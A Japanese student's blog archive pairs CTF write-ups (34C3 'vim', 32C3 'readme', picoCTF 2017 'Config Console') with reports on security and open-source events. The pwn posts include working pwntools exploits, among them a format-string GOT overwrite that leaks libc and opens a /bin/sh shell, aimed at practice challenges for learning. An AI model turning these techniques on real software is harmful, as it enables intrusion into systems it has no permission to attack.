34C3 CTF 「vim」のwrite-upを見た
いろいろ試したもののうまくいかなかった問題。Easyとは...(m0rphしか解けなかった人の顔
CTFtime.orgにwrite-upが上がっていたので参考にしつつリベンジしてみた。とてもくわしく書かれているがややこしいので、理解するために日本語に訳しているだけみたいなところがありアレ。
https://blog.rpis.ec/2017/12/34c3ctf-vim.html
Vimコマンドを読む
問題のファイル(上記URL参照)には、4行目にFLAGを入力しろと書かれている。
GY@"
というコマンドは
G
最終行に飛びY
行全体をヤンクして(バッファにためて)@"
ヤンクした内容をコマンドとして実行する
という意味。
そこで最終行を見てみる。最終行周辺はよく見るとVimのコマンドになっている(気づくのにとても時間がかかった)。
わかりやすいようにコマンド単位に分割したのが以下。
6G (6行目行頭へ) f2 "ayl (レジスタa = '2') ^ f0 "cyl "Ayl (レジスタc = '0', レジスタa += '0') ^ fh "Ayl (レジスタa += 'h') ^ fj "Ayl (レジスタa += 'j') ^ fG "gyl (レジスタg = 'G') ^ fk "Gyl (レジスタg += 'k') G $ FY "Gy3l (レジスタg += 'Y@"') $ F@ "hyl (レジスタh = '@') Fh "Hyl (レジスタh += 'h') 260G Y @" (260行目を実行) F10H (実行されない)
いろいろ実行したあと260G Y @"
でジャンプしている。(<X>
<Y>
などはあとで説明に使います)
1G ff "dyl "eyl "fyl (レジスタd, e, f = 'f') 4G @c "Dyl (レジスタd += レジスタcが指すFLAGの文字<X>) 6G @d h j "Eyl j "Fyl (6行目から<X>を探し、レジスタe += その左下の文字<Y>, レジスタf += さらにその1行下の文字<Z>) 1G fl "Cyl (レジスタc += 'l') 6G f2 "byl F0 "Byl (レジスタb = '20') 261G Y @" (261行目を実行) (3c043Bh4Hf5#)
261行目を見ると、
9G @e 19l @a "Byt. (9行目の文字<Y>にジャンプし、19文字右に移動、レジスタaを実行してカーソルから右に辿って'.'の直前までの文字列<P>をレジスタbに追記) 6G fj "Byl (レジスタb += 'j') 6G f2 "ayl F0 "Ayl (レジスタa = '20') 9G @f 19l @b "Ayt. (9行目の文字<Z>にジャンプし、19文字右に移動、レジスタbを実行して、カーソルから'.'直前までの文字列<Q>をレジスタaに追記) 6G fj "Ayl (レジスタa += 'j') 40| @a (適当に移動、またすぐ移動するので意味はない) 260G Y @" (260行目を実行) (@1fBkya5B^)
あれ、これ無限ループでは…と思ったが、そうはならない。
自作のシミュレータに与えてみると、4行目に書いたFLAGの文字が終わるとエラーを出して終了した。末尾の()
で囲んだ部分は実行されない。
実行中のレジスタの中身を吐かせてみるとこのようになる。write-upではVim本体にパッチをあてて検証したらしい。
{"a"=>"20hj", "c"=>"0l", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f3", "e"=>"f,", "f"=>"fG", "b"=>"20h33j"} ... {"a"=>"20h169j", "c"=>"0llllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"ff", "e"=>"f2", "f"=>"f2", "b"=>"20l72j"} ... {"a"=>"20h192j", "c"=>"0lllllllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f", "e"=>"f", "f"=>"f", "b"=>"20l78j"}
これと260・261行目からわかる内容をまとめると、
@a
@b
を実行するとたくさん移動する- 4行目で実行される
@c
には、l
がどんどん後ろに連なっていくので、4行目のFLAGの文字を順番にフォーカスしている @d
@e
@f
は@c
に応じて変化@h
は自分を呼び出す(そして全体を通じてレジスタの中身が変化しない)@g
は下から2番目の行を実行する(そして全体を通じてレジスタの中身が変化しない)
このあと処理を逐次追ってみたけど頭が爆発しそうになったので諦めて本番はここで終わり。
依存関係を図にしてみたりした。ちょっとはわかりやすい…?
@b
が決定したあとに@a
が決定され、@a
は次のループに引き継がれるので、1回のループで「与えられた@aとFLAGの文字をもとに、新たな@aを生成する」と考えることができる。
ループの仕組み
次に@a
@b
の動きを理解したい。
まず、FLAGから文字を取り出して6行目で検索し<X>
が決定する。
逆の言い方をすれば、FLAGで使われる文字列はすべて6行目にある。
<X>
によって <Y>
<Z>
が確定するが、そのもととなる7,8行目をよく見ると文字種が偏っている。
6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI6HntUkUZmdU".i" 7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@H1"jDA"h"53AA6.d -> <Y> 8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G""@Bd@#$BEj_GG5,B -> <Z>
6行目で、重複しているために<X>
にならない文字を省く(fG
というようにアクセスされるので、同じ文字が2つあると右側にあるものにはたどり着かないことに注意)。
それによって<Y>
<Z>
も絞られるので省くと、以下のようになる。
6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI " 7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@ A -> <Y> 8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G" G -> <Z>
このように見ていくと、<Y>
<Z>
になる文字は@ , h G A l " _ 2
だけだとわかる。
そして、<Y>
<Z>
は9行目でのジャンプにのみ使われている。ここも <Y>
<Z>
からアクセスされない部分は省いてしまう。
9 ._3d93@jA_F"H.#0GB8#c,5d#9lAaakh18ck2eGDcHlG7A21Cg8"C$3$e$"D@l.E^A6eDlbec5$D".hl 9 _ @ A " G , l h 2
また、9行目にジャンプしてからは19文字右に移動したあと @a
@b
のいずれかが実行される。
ここで、@a
@b
は20h...
20l...
から始まることに注目すると、最終的な<Y>
<Z>
からの横方向の移動距離は+19 ± 20 = -1 or +39の2つだけ。
移動先の候補に*
で印をつけてみると、10行目以降のl
やh
に縦方向で揃う(下画像赤色部分)。
A
の移動先の候補はズレているが、7行目に遡ると1度しか出てきていないのでおそらくダミー。排除して考える。
加えて、h
l
の前にある文字もただのパディングとわかる。
そのあとは@a
@b
の続きで赤色の列を下に移動し<P>
<Q>
として追記したあとはじめへ戻る。
ここで、l250.
h129.
といった <P>
<Q>
の候補は 16 * 250 = 4000個ある。
この4000個を行ったり来たりして後述する@g
に飛ばすようなFLAGを見つける。
狙う場所
write-upには@g
に注目したと書いてある。vimを開いて1行目で指示されるコマンドを打った後、@g
を実行するとwin!
と出た。
なるほどそういうことか。
1 Enter the flag in line 4 and type GY@" 2 3 The flag is: 4 34C3_example 5 -------------------------------------------------------------------------------- 6 win!
そして@g
を実行している箇所は108行目行頭だけなので、ココに飛ばせばよいということになる。
108 @g.ABh175.l220.l245.l159.h61.7h45.^h122.h23.2l176.l86.9l146.h5.EGl143.l168.h222.
Exploit
@g
にたどり着くようなFLAGを探すにはどうすればいいんだろう? @g
から逆順にたどるのもキツそう。
write-upではBFS(幅優先探索)なbrute forceで解いたようなのでそれを真似してみる。
このように、@a
(初期値は20hj
)とFLAG文字列全体を持つようにすると経路復元の必要がなくなりラク。
また、同じ@a
を得た場合は枝の探索を断ち切って計算量を削減する。
vimcommand.rb
は開催中に自分で書いていたシミュレータ。
require_relative './vimcommand' FLAG_CHARS = "34C_W0KVmQrFpgcZy8eY7bsBSETUvwiM5LPzuNofhn6Ox1G92jdaXlDRtHqJAI".chars # 6行目より(k, @, .といった制御文字は取り除く) State = Struct.new :a, :flag PROBLEM = File.read("vim.txt").split "\n" visited = {} # それぞれの@aを生成する最短のFLAG queue = [State.new("20hj", "")] def step_loop state, newchar vc = VimCommand.new PROBLEM, '260GY@"' vc.registers["a"] = state.a vc.registers["d"] = 'f' + newchar vc.registers["e"] = 'f' vc.registers["f"] = 'f' vc.lines[260] = %Q(6G@dhj"Eylj"Fyl6Gf2"bylF0"Byl261GY@") # @c, @dへの代入を削除 vc.lines[261] = %Q(9G@e19l@a"Byt.6Gfj"Byl6Gf2"aylF0"Ayl9G@f19l@b"Ayt.6Gfj"Ayl40|@a) # 261行目から260行目に戻らないようにする vc.call do |sc| # puts "#{sc[0]} #{vc.focus_line} #{vc.focus_char} #{vc.registers['b']}" end State.new vc.registers["a"], state.flag + newchar end until queue.empty? cur = queue.pop FLAG_CHARS.each do |ch| puts cur.flag + ch nxt = step_loop cur, ch unless visited[nxt.a] queue << nxt visited[nxt.a] = true end end end
require 'strscan' class VimCommand attr_reader :lines, :focus_line, :focus_char, :stack, :registers def initialize lines, init_cmd @lines = ['', lines].flatten @focus_line = 0 @focus_char = 0 @stack = [init_cmd || @lines[0]] @registers = {} end def call &block while @stack.any? execute &block end end def execute &block return if @stack.empty? @sc = StringScanner.new @stack.pop until @sc.eos? break if step &block end end def step sc = @sc break_loop = false case when sc.scan(/(\^|0)/) @focus_char = 0 when sc.scan(/\$/) @focus_char = fli.size - 1 when sc.scan(/(\d+)h/) @focus_char -= sc[1].to_i when sc.scan(/(\d+)j/) @focus_line += sc[1].to_i when sc.scan(/(\d+)k/) @focus_line -= sc[1].to_i when sc.scan(/(\d+)l/) @focus_char += sc[1].to_i when sc.scan(/h/) @focus_char -= 1 when sc.scan(/j/) @focus_line += 1 when sc.scan(/k/) @focus_line -= 1 when sc.scan(/l/) @focus_char += 1 when sc.scan(/G/) @focus_line = @lines.size - 1 when sc.scan(/(\d+)G/) @focus_line = sc[1].to_i @focus_char = 0 when sc.scan(/(\d+)B/) @focus_line -= sc[1].to_i - 1 @focus_line -= 1 if @focus_char == 0 when sc.scan(/(\d+)\|/) @focus_char = sc[1].to_i - 1 when sc.scan(/Y@"/) @stack.push sc.string[sc.charpos..-1] @stack.push fli break_loop = true when sc.scan(/@(.)/) @stack.push sc.string[sc.charpos..-1] @stack.push @registers[sc[1]] break_loop = true when sc.scan(/f(.)/) @focus_char = fli.index sc[1], @focus_char when sc.scan(/F(.)/) @focus_char = fli.rindex sc[1], @focus_char when sc.scan(/"([A-Z])yl/) @registers[sc[1].downcase] += fch when sc.scan(/"([A-Z])y(\d+)l/) @registers[sc[1].downcase] += fli[@focus_char..@focus_char + sc[2].to_i] @focus_char += sc[2].to_i - 1 when sc.scan(/"([A-Z])yt(.)/) @registers[sc[1].downcase] += fli[@focus_char...fli.index(sc[2], @focus_char)] when sc.scan(/"([a-z])yl/) @registers[sc[1]] = fch else raise "Parse Error: #{sc.charpos} #{sc.string[sc.charpos..-1]}" end yield sc if block_given? break_loop end def fli @lines[@focus_line] end def fch fli[@focus_char] end end
これを実行すると、数秒でFLAGを探索しエラーを出して止まる(乱暴)。前に見た通り@g
を実行すると内容が書き換えられるため。
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4
がFLAG。
34C3_MgOSwZm9WFTRKYvCXFXXxpX9ct 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cH 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cq 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cJ 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cA 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cI 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs3 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4 /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:86:in `step': Parse Error: 0 20@gj (RuntimeError) from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:25:in `execute' from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:16:in `call' from exploit.rb:21:in `step_loop' from exploit.rb:32:in `block in <main>' from exploit.rb:30:in `each' from exploit.rb:30:in `<main>'
おもしろいけど、誰がこんな問題思いつくんだろうか...少しずつ理解してたら記事にするまで1ヶ月ぐらい経ってしまった(白目
アルゴリズム力も足りないなあ…
OSC大阪に参加した
Open Source Conference Osaka 2018 に参加しました。小学生のときに1回セミナーに参加したようなしなかったような記憶があります。
企業ブースではSHOT NOTEもらったりシールもらったり醤油もらったり(!?)。
「Linuxベースのシングルボード色々」というセミナーではRaspberry Pi以外のBeagleboneなどの紹介がありました。
Banana Pi Router-2 が面白そう。ルーターにもサーバにもなる…!
pool.ntp.orgにRPiで立てたNTPサーバが参加して、秒間3000パケットを投げられて回線がパンクした話も聞けました。stratum 1 でも案外楽に作れるらしいので作ってみたいけど寮の回線がダウンしそう(((
名前だけは聞いたことがあったEjectコマンドユーザ会やmikutterのブースにはいろいろなものが置いてあってわくわくしました。
openSUSEユーザ会のブースで布教を受けました。ブートCDももらっちゃった。
関西Lispユーザ会というのが昨年の夏にできて、2/3に勉強会を開催する予定だったそうなのですが参加は無理そう…残念。
ユーザ会ってなんだか敷居の高いイメージがあったけど、むしろそういうコミュニティに加わって学ぶことができれば楽しそうだと思いました。
セミナーのいくつかは若干期待はずれなものもありましたが、そのあたりは個人の好みなので仕方ないか。
充実した1日でした。
1/28: ELCAS/SEEDS合同発表会
京都大学ELCAS・大阪大学SEEDS合同成果発表会にTwitter上で知り合った某校の人々と行ってきた。
昨年ELCASには落とされてしまったとはいうものの、今年申し込むかはまだ決めていない。SecHack365などなどの情報がまだ出ていないので。
化学だったり生物学だったりの発表は難しくて理解しづらかった。
情報系の発表は「CNNと文字のアスペクト比を用いたくずし文字認識」「ドローン搭載カメラ画像を用いた物体認識」があった。
ドローンにカメラは定石みたいなところがある気がする、ドローンがもうちょっとパワフルになってくれればできることも広がるんだろうけど。
化学系の発表内容を理解して質問している人を見て「なんでわかるんだ〜」と思ったが、自分もCNNの学習データの画像について質問してたのでそういうことかもしれない。
昼はおにぎりとバケットを食べた。
その後はポスター発表。完全食の調査や副作用の軽減策をビッグデータから探し出す研究があった。米子高専の人も発表していた(SEEDS参加者)。
途中で疲れてしまったので2人で「京都大学サロン」に行きOSCのいろいろを整理したりファームウェアハッキングの記事を見たり雑誌を読んだりした。日経プレジデント、特集「24時間の使い方」ぴったりじゃないか。でも「グローバルリーダー」と何度も繰り返すのがくどく感じたし、内容もどこででも語られているものばかりだった。
せっかく会えたのでOSCで大量にもらったシールをあげた。何枚か気に入ってもらえるのがあればいいなと考えていたが、結局nginxシール以外は全部渡した。openSUSEそんなに需要あるの…?
カレンダーが使いこなせない人間なので、O'Reillyのオリジナルカレンダーもついでに。
帰りの電車ではコンパイラの仕組みなどを聞かれたので知っていることを一気に話して図に描いた。案外スラスラ説明できたので、そこそこlibcとかELFも理解できてるっぽい。
そういう話題を調べる際にFEレベルでも知識の足場を作っておくと便利なんだなあと気づいた。
TDRJ氏「CTF, Cryptoしかできそうにないんだよね…」
sei0o「むしろCryptoは頭のいい人にしかできないよ」
どうやってつながりを得たのかと言われ、たしかに関西はそういう機会が少ないよなあと思った。そのためのCombKansaiなんだけどね。
そのあとは寮に帰って2日間の記録を書いた。IBusからFcitxに戻して右Altを変換キーに再度割り当てた。時間溶けた。
来週末はNITAC CTFがあるので平日でしっかり勉強します。
します!!
32C3 CTF 「readme」を解いた
argv0 leakというものを使う問題。
katagaitai勉強会 #4の資料が詳しい。
自前の環境ではExploitが動かなかった。その原因を探すので3日ぐらい溶かしたので問題自体のwrite-upを書く気が失せている。まあいいか(低学年高専生の発想)。
argv0 leak と glibc の対策 別にまとめた。
ここも参考にした。
32C3 CTF readme - ちょっとずつ成長日記
argv0 leakはSSP(Canary)が有効でないと使えない。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : disabled
0x600d20
(.data
内)にFLAGが格納されているが、あとからの入力で書き換えられてしまう。
しかし、.data
セクションの中身はマッピングされたものであるため0x400d20
にも同じ文字列が入っている。
マッピングについてはELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジーにくわしく書いてある。
リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。
Exploit
from pwn import * context(os='linux', arch='amd64') c = process('./readme.bin') #remote('localhost', 62000) c.recv() raw_input() payload = "A" * 0x210 payload += p64(1) payload += p64(0x400d20) # flag copied by ld payload += p64(0) payload += p64(0x600d20) # envp[0] payload += "\n" c.send(payload) c.send("LIBC_FATAL_STDERR_=yoooo\n") print(c.recv()) # => *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
OITTW2に参加した
argv0 leakでシステム間の差異と格闘していたらpwnの進捗溶けてしばらくブログ更新できなかった。原因気になるからしょうがないね。
CombKansaiのときに勝男さんにお誘いいただき、1/13に大阪工業大学の枚方キャンパスで開かれたOITTW2というネットワークの勉強会に参加しました。
明石と枚方の距離感を勘違いして気づけば時間ギリギリになっていたのであわてて出たらいろいろ忘れてしまいました。
大きな建物があるので大学の敷地にはすぐ入れたものの、学内に入ってから部屋の位置がわからず事務室に駆け込むなどしてなんとかたどり着けました。
講義というよりは実戦形式で、障害の起きているネットワークと問題が5つ渡されそれをなんとかして解いていく感じでした。
Iceさんに教えてもらいつつCiscoルータを初めて触りました。結構難しい…というよりネットワーク自体についてまだまだ経験が足りないなと思いました。ルーターが積んであるのかっこよかった(小並感)
ネスペを持っているとはいえ普通に生活してたらVRFもVLANも使わないからなあ。せいぜいNAT?
昼食は勝男さんがカツカレーをおごってくれました。卒研…(5年後を想像する顔)
JANOGの若者支援プログラムというので交通費などを支援してもらえることを知りました。メモメモ
勉強会のあとは懇親会があったのでお菓子食べながら雑談していました。
ヤフオクで中古のルータがいろいろ流れているので近いうちに1つ買ってみて勉強したいです。どれがいいんだろうか…
帰りもバス停までの道がわからなかったのですが人についていくとすんなり駅まで戻れました。楽しかった〜
大和セキュリティ勉強会に参加した #yamasec
1/7に神戸で開催された大和セキュリティ勉強会に参加しました。
年末行われた回にも参加してみたかったのですが、閉寮と被ってしまって行けませんでした。今回はギリギリ日時が違ったのでよかった。
私が申し込んだ30分後に@Akashi_SNが申し込んでいて驚きました(((
どんな人が来るんだろうかと気になっていましたが、思っていたよりCTF未経験の人が多かったです。半分ぐらい?
年齢層も社会人中心で、学生は自分を入れて4人ぐらいでした。
yamasecというTwitterのハッシュタグも用意されていましたが、ほとんど自分しかツイートしてなかったです。学生はTwitterが好きな人多いけど、社会人はそうでもないのかな。
SANS Holiday Hack Challenge 2017をみんなで解くということでずっと取り組んでいました。
一風変わったCTFですが、Apache Strutsの脆弱性のPoC(Exploit)を使って解く問題があったりしておもしろかったです。
最近はもっぱらpwnばかりを練習していましたが、webにも強くなりたいなあ。PHP Webshellも知らなかったので勉強すれば楽しそう。
Linuxコマンドの入門としてOverTheWireのBanditをしている人もいました。OverTheWireはNarniaがwrite-up見てもうまいこと行かなくて放置しています><;
つい数日前から話題になっているMeltdown/Spectreについての話もありました。スライドは後日公開されるようです。
「投機実行サイドチャネル攻撃」と表現されるみたいで、投機実行が脆弱性になるってどういうことだろうと疑問に思いましたが、話を聞いて(だいたい)納得できました。
macOS, 使っていないとはいえHigh Sierraにしないと…
せっかくなので懇親会にも参加しました。いわゆる「CTF”は”未経験」な人々と話ができてよかったです。
組み込み・製造業でのセキュリティとかルワンダ(!?)のIoT事情とか。
たまたま隣に居た人が来週参加予定のネットワーク勉強会の運営をしていたので驚きました。CombKansaiの効果を感じる。
お酒の影響かわかりませんが、大人の方が学生の分を多く払ってくださったので懇親会参加費が1/3になりました(ありがとうございます)
こういう場に行くと毎回「学生のうちにいろいろやっておくと後々活きてくるよ」と言われますね。頑張ろう…
こんな感じで冬休みの楽しいイベントでした!また行きたい〜
picoCTF 2017 「Config Console」を解いた
ソースが渡される。良心。
残念なことにlibcのリークがわからなかったのでwrite-upを探すと、ret2libcしたりOne-gadget RCEを使ったりいろいろ解法があった。
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/binary/Config_Console/Config_Console.html
https://github.com/Caesurus/PicoCTF2017/tree/master/L3_ConfigConsole
やってる最中は$
を抜かしたりアドレスを同じ値で書き換えているのに気づかなかったりで注意力のなさを実感した。
めっちゃ時間かかった。慣れないなぁ
とりあえずchecksec。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
Format string bugがset_exit_message()
にある。
ただx86-64なので、rsi, rdx, rcx ... と出力したあとにようやくスタックの内容が出力されることに注意する。こんな感じ。
Config action: edit AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p AAAA 0x7ffff7dd07a3(rsi) 0x7ffff7dd1880(rdx) 0x7ffff7af9054(rcx) 0x7ffff7fb1740(r8) 0x7ffff7fb1740(r9) (nil)($esp) 0x7fffffffd915($esp+0x8) 0x7fffffffdd20(saved rbp) 0x400aa6(return address) 0x7ffff7ffd9d0 0x7fffffffd910 0x7fffffffd910 0x7fffffffd915 0x4141410074696465("edit", "AAA...") 0x2070252070252041 0x7025207025207025 0x2520702520702520
NX bitが有効かつPLTにはsystem
がないので、ret2libcかGOT Overwriteを使うことになりそう。手順をまとめると、
exit@plt
でloop
に飛ぶようにGOT Overwrite(%14$p
で入力した文字列にアクセスできる)- こうすれば何度もFSBで攻撃できるが、
set_exit_message
はloop
にreturnすることなく直接exit
を呼んでいるのでleaveが呼ばれずスタックがどんどんずれていく - それゆえret2libcで書き込むリターンアドレスを計算するのはややこしそうなのでGOT Overwriteでやってみる
- こうすれば何度もFSBで攻撃できるが、
- libcのリーク
set_prompt
から呼ばれるstrlen@plt
をsystem
に書き換え- 入力が引数に渡されるのでちょうど良い
全部FSBを脆弱性として使える。
が、0x00000000 00400920
といったアドレスを入れようとするとNULL文字として扱われてそこで文字列が終端してしまうのでアドレスは最後に書く。フォーマット部分にはアドレスをうまく%hn
などで参照できるようにpaddingを入れる必要がある。x86と違って低位のアドレスではこういうことが起こる。
%2$lx
を使えば0x
がつかないのでちょっとだけ楽。
__IO_stdfile_1_lock
のアドレス0x7ffff7dd1880
は下を参照するとmapped
という領域に入っているが、気にせずlibcからのオフセットを計算すると0x3dc880
となる。
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/sei0o/ctf/pico2017/configconsole/console 0x00601000 0x00602000 rw-p /home/sei0o/ctf/pico2017/configconsole/console 0x00602000 0x00623000 rw-p [heap] 0x00007ffff79f5000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped 0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so ...
…はずで、実際にローカルでは動いたが問題サーバに投げるとSEGVした。libcが合っていなくてオフセットもおかしくなっていたのだろう。
write-upを見ると「問題サーバにはsshでログインして、リモートのlibcでgdb上で動かしてアドレスを見る」とのこと。
pedaが入っていなかったのでlibcのベースアドレスはcat /proc/(プロセスID)/maps
で見た。
ヴァネロペさんのアドカレの記事で紹介されていたrax2を使ってオフセットを計算すると0x3a77a0
となった。便利。
$ rax2 -k 0x7f362782a7a0-0x7f362744df20 0x3a77a0
はじめ「mapped
って書いてるってことはライブラリの領域ではないのかな??」と考えたが、gdbで__IO_stdfile_1_lock
周辺を表示してみるとfree_list
やlock
というlibcに関係ありそうな名前がたくさん出てきたのでそういう領域なのだろう。たぶん(ググったけど出てこなかった)
いろいろ探しているうちにobjdump -p libc.so.6
でlibcのバージョンが見られることを知った。Linuxの共有ライブラリは実行できるので直接$ ./libc.so.6
としても情報が見られる。
さらにLD_PRELOAD
という環境変数を使えば実行時に動的リンクするライブラリを決められることも知った。
ん?昔参加したセキュリティ・ミニキャンプの「ウイルスを検知してみよう」的な講座でこんなことをした気が...いや関係ない気が...
Exploit
pwntoolsを初めて使った。
# 0xaaaa -> 2 byte -> 16 bit
とかいう頭の悪そうなコメント。
pwntools使い方 まとめ
from pwn import * #c = remote('localhost', 62000) c = remote('shell2017.picoctf.com', 42132) # overwrite exit of GOT exit_got = 0x601258 # the original value is 0x400736, so we don't have to overwrite the higher part (0x0400) payload = "e " payload += "%2491xAA%16$hn" # 2491 = 0x9bd - 2 (0x4009bd ... function loop, 2 <- "AA"(padding)) payload += p64(exit_got) payload += "\n" c.recv() c.send(payload) # leak libc address payload = "e %2$p\n" c.send(payload) c.recvuntil("set!") c.recvuntil("set!") libc_stdfile_lock = int(c.recv(15)[3:], 16) libc_base = libc_stdfile_lock - 0x3a77a0 # offset log.info("Libc Base: %s" % hex(libc_base)) # overwrite strlen@plt strlen_got = 0x601210 system_offset = 0x41490 system_addr = libc_base + system_offset payload = "e " payload += "%" + str(system_addr & 0xffff) + "x" payload += "%16$hn" payload = payload.ljust(16, "A") # padding payload += p64(strlen_got) payload += "\n" c.send(payload) payload = "e " payload += "%" + str((system_addr >> 16) & 0xffff) + "x" # 0xaaaa -> 2 byte -> 16 bit payload += "%16$hn" payload = payload.ljust(16, "A") payload += p64(strlen_got + 2) payload += "\n" c.recvuntil("set!") c.send(payload) payload = "e " payload += "%" + str((system_addr >> 32) & 0xffff) + "x" payload += "%16$hn" payload = payload.ljust(16, "A") payload += p64(strlen_got + 4) payload += "\n" c.recvuntil("set!") c.send(payload) # enter shell c.recv() c.send("p /bin/sh\n") time.sleep(0.3) c.interactive()